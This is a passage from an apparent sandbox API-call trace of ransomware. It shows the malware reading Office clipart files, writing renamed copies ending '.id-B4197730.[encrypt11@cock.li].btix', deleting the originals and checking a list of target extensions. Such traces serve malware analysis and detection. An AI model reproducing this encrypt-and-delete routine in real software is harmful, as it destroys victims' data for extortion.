lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x1d9f, lpOverlapped=0x0) returned 1 [0051.666] WriteFile (in: hFile=0x2e0, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x1da0, lpOverlapped=0x0) returned 1 [0051.667] ReadFile (in: hFile=0x308, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0051.667] WriteFile (in: hFile=0x2e0, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0051.667] SetEndOfFile (hFile=0x2e0) returned 1 [0051.667] CloseHandle (hObject=0x2e0) returned 1 [0051.668] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0051.668] SetEndOfFile (hFile=0x308) returned 1 [0051.669] CloseHandle (hObject=0x308) returned 1 [0051.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0051.669] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif")) returned 1 [0051.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0051.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0051.670] lstrlenW (lpString=".doc") returned 4 [0051.670] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.670] lstrlenW (lpString=".docx") returned 5 [0051.670] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.670] lstrlenW (lpString=".pdf") returned 4 [0051.670] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.670] lstrlenW (lpString=".xls") returned 4 [0051.670] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.670] lstrlenW (lpString=".xlsx") returned 5 [0051.670] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.670] lstrlenW (lpString=".ppt") returned 4 [0051.670] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0051.670] lstrlenW (lpString=".zip") returned 4 [0051.670] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.670] lstrlenW (lpString=".rar") returned 4 [0051.670] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.670] lstrlenW (lpString=".bz2") returned 4 [0051.670] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.670] lstrlenW (lpString=".7z") returned 3 [0051.670] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0051.670] lstrlenW (lpString=".dbf") returned 4 [0051.670] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0051.670] lstrlenW (lpString=".1cd") returned 4 [0051.670] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0051.670] lstrlenW (lpString=".jpg") returned 4 [0051.670] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0051.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0051.670] lstrlenW (lpString=".doc") returned 4 [0051.671] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.671] lstrlenW (lpString=".docx") returned 5 [0051.671] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.671] lstrlenW (lpString=".pdf") returned 4 [0051.671] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.671] lstrlenW (lpString=".xls") returned 4 [0051.671] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.671] lstrlenW (lpString=".xlsx") returned 5 [0051.671] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.671] lstrlenW (lpString=".ppt") returned 4 [0051.671] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0051.671] lstrlenW (lpString=".zip") returned 4 [0051.671] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.671] lstrlenW (lpString=".rar") returned 4 [0051.671] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.671] lstrlenW (lpString=".bz2") returned 4 [0051.671] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.671] lstrlenW (lpString=".7z") returned 3 [0051.671] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0051.671] lstrlenW (lpString=".dbf") returned 4 [0051.671] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0051.671] lstrlenW (lpString=".1cd") returned 4 [0051.671] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0051.671] lstrlenW (lpString=".jpg") returned 4 [0051.671] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.671] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0051.671] lstrlenW (lpString="AG00169_.GIF") returned 12 [0051.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0051.695] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=5375) returned 1 [0051.695] CloseHandle (hObject=0x320) returned 1 [0051.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif")) returned 0x220 [0051.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0051.696] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0051.696] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0051.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0051.699] GetLastError () returned 0x0 [0051.699] ReadFile (in: hFile=0x320, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x14ff, lpOverlapped=0x0) returned 1 [0051.731] WriteFile (in: hFile=0x32c, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x1500, lpOverlapped=0x0) returned 1 [0051.733] ReadFile (in: hFile=0x320, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0051.733] WriteFile (in: hFile=0x32c, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0051.733] SetEndOfFile (hFile=0x32c) returned 1 [0051.761] CloseHandle (hObject=0x32c) returned 1 [0051.761] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0051.761] SetEndOfFile (hFile=0x320) returned 1 [0051.762] CloseHandle (hObject=0x320) returned 1 [0051.762] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0051.762] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif")) returned 1 [0051.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0051.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0051.765] lstrlenW (lpString=".doc") returned 4 [0051.765] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.765] lstrlenW (lpString=".docx") returned 5 [0051.765] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.765] lstrlenW (lpString=".pdf") returned 4 [0051.765] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.765] lstrlenW (lpString=".xls") returned 4 [0051.765] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.765] lstrlenW (lpString=".xlsx") returned 5 [0051.765] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.765] lstrlenW (lpString=".ppt") returned 4 [0051.765] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0051.765] lstrlenW (lpString=".zip") returned 4 [0051.765] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.765] lstrlenW (lpString=".rar") returned 4 [0051.765] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.765] lstrlenW (lpString=".bz2") returned 4 [0051.765] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.765] lstrlenW (lpString=".7z") returned 3 [0051.766] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0051.766] lstrlenW (lpString=".dbf") returned 4 [0051.766] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0051.766] lstrlenW (lpString=".1cd") returned 4 [0051.766] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0051.766] lstrlenW (lpString=".jpg") returned 4 [0051.766] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0051.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0051.766] lstrlenW (lpString=".doc") returned 4 [0051.766] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.766] lstrlenW (lpString=".docx") returned 5 [0051.766] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.766] lstrlenW (lpString=".pdf") returned 4 [0051.766] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.766] lstrlenW (lpString=".xls") returned 4 [0051.766] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.766] lstrlenW (lpString=".xlsx") returned 5 [0051.766] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.766] lstrlenW (lpString=".ppt") returned 4 [0051.766] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0051.766] lstrlenW (lpString=".zip") returned 4 [0051.766] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.766] lstrlenW (lpString=".rar") returned 4 [0051.766] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.766] lstrlenW (lpString=".bz2") returned 4 [0051.766] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.766] lstrlenW (lpString=".7z") returned 3 [0051.766] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0051.766] lstrlenW (lpString=".dbf") returned 4 [0051.766] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0051.767] lstrlenW (lpString=".1cd") returned 4 [0051.767] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0051.767] lstrlenW (lpString=".jpg") returned 4 [0051.767] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.767] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0051.767] lstrlenW (lpString="AG00174_.GIF") returned 12 [0051.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0051.780] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=3966) returned 1 [0051.780] CloseHandle (hObject=0x2e0) returned 1 [0051.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif")) returned 0x220 [0051.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0051.781] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0051.781] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0051.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0051.782] GetLastError () returned 0x0 [0051.782] ReadFile (in: hFile=0x2e0, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0xf7e, lpOverlapped=0x0) returned 1 [0051.846] WriteFile (in: hFile=0x388, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xf80, lpOverlapped=0x0) returned 1 [0051.847] ReadFile (in: hFile=0x2e0, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0051.847] WriteFile (in: hFile=0x388, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0051.847] SetEndOfFile (hFile=0x388) returned 1 [0051.847] CloseHandle (hObject=0x388) returned 1 [0051.848] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0051.848] SetEndOfFile (hFile=0x2e0) returned 1 [0051.848] CloseHandle (hObject=0x2e0) returned 1 [0051.848] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0051.849] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif")) returned 1 [0051.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0051.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0051.849] lstrlenW (lpString=".doc") returned 4 [0051.849] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.849] lstrlenW (lpString=".docx") returned 5 [0051.849] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.849] lstrlenW (lpString=".pdf") returned 4 [0051.849] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.849] lstrlenW (lpString=".xls") returned 4 [0051.849] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.849] lstrlenW (lpString=".xlsx") returned 5 [0051.849] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.849] lstrlenW (lpString=".ppt") returned 4 [0051.849] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0051.849] lstrlenW (lpString=".zip") returned 4 [0051.849] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.849] lstrlenW (lpString=".rar") returned 4 [0051.849] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.849] lstrlenW (lpString=".bz2") returned 4 [0051.849] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.850] lstrlenW (lpString=".7z") returned 3 [0051.850] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0051.850] lstrlenW (lpString=".dbf") returned 4 [0051.850] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0051.850] lstrlenW (lpString=".1cd") returned 4 [0051.850] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0051.850] lstrlenW (lpString=".jpg") returned 4 [0051.850] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0051.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0051.850] lstrlenW (lpString=".doc") returned 4 [0051.850] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.850] lstrlenW (lpString=".docx") returned 5 [0051.850] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.850] lstrlenW (lpString=".pdf") returned 4 [0051.850] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.850] lstrlenW (lpString=".xls") returned 4 [0051.850] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.850] lstrlenW (lpString=".xlsx") returned 5 [0051.850] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.850] lstrlenW (lpString=".ppt") returned 4 [0051.850] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0051.850] lstrlenW (lpString=".zip") returned 4 [0051.850] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.850] lstrlenW (lpString=".rar") returned 4 [0051.850] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.850] lstrlenW (lpString=".bz2") returned 4 [0051.850] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.850] lstrlenW (lpString=".7z") returned 3 [0051.850] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0051.851] lstrlenW (lpString=".dbf") returned 4 [0051.851] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0051.851] lstrlenW (lpString=".1cd") returned 4 [0051.851] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0051.851] lstrlenW (lpString=".jpg") returned 4 [0051.851] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.851] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0051.851] lstrlenW (lpString="AN00790_.WMF") returned 12 [0051.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0051.884] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=5684) returned 1 [0051.884] CloseHandle (hObject=0x344) returned 1 [0051.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf")) returned 0x220 [0051.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0051.884] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0051.884] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0051.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0051.902] GetLastError () returned 0x0 [0051.902] ReadFile (in: hFile=0x344, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x1634, lpOverlapped=0x0) returned 1 [0052.064] WriteFile (in: hFile=0x388, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x1640, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x1640, lpOverlapped=0x0) returned 1 [0052.065] ReadFile (in: hFile=0x344, 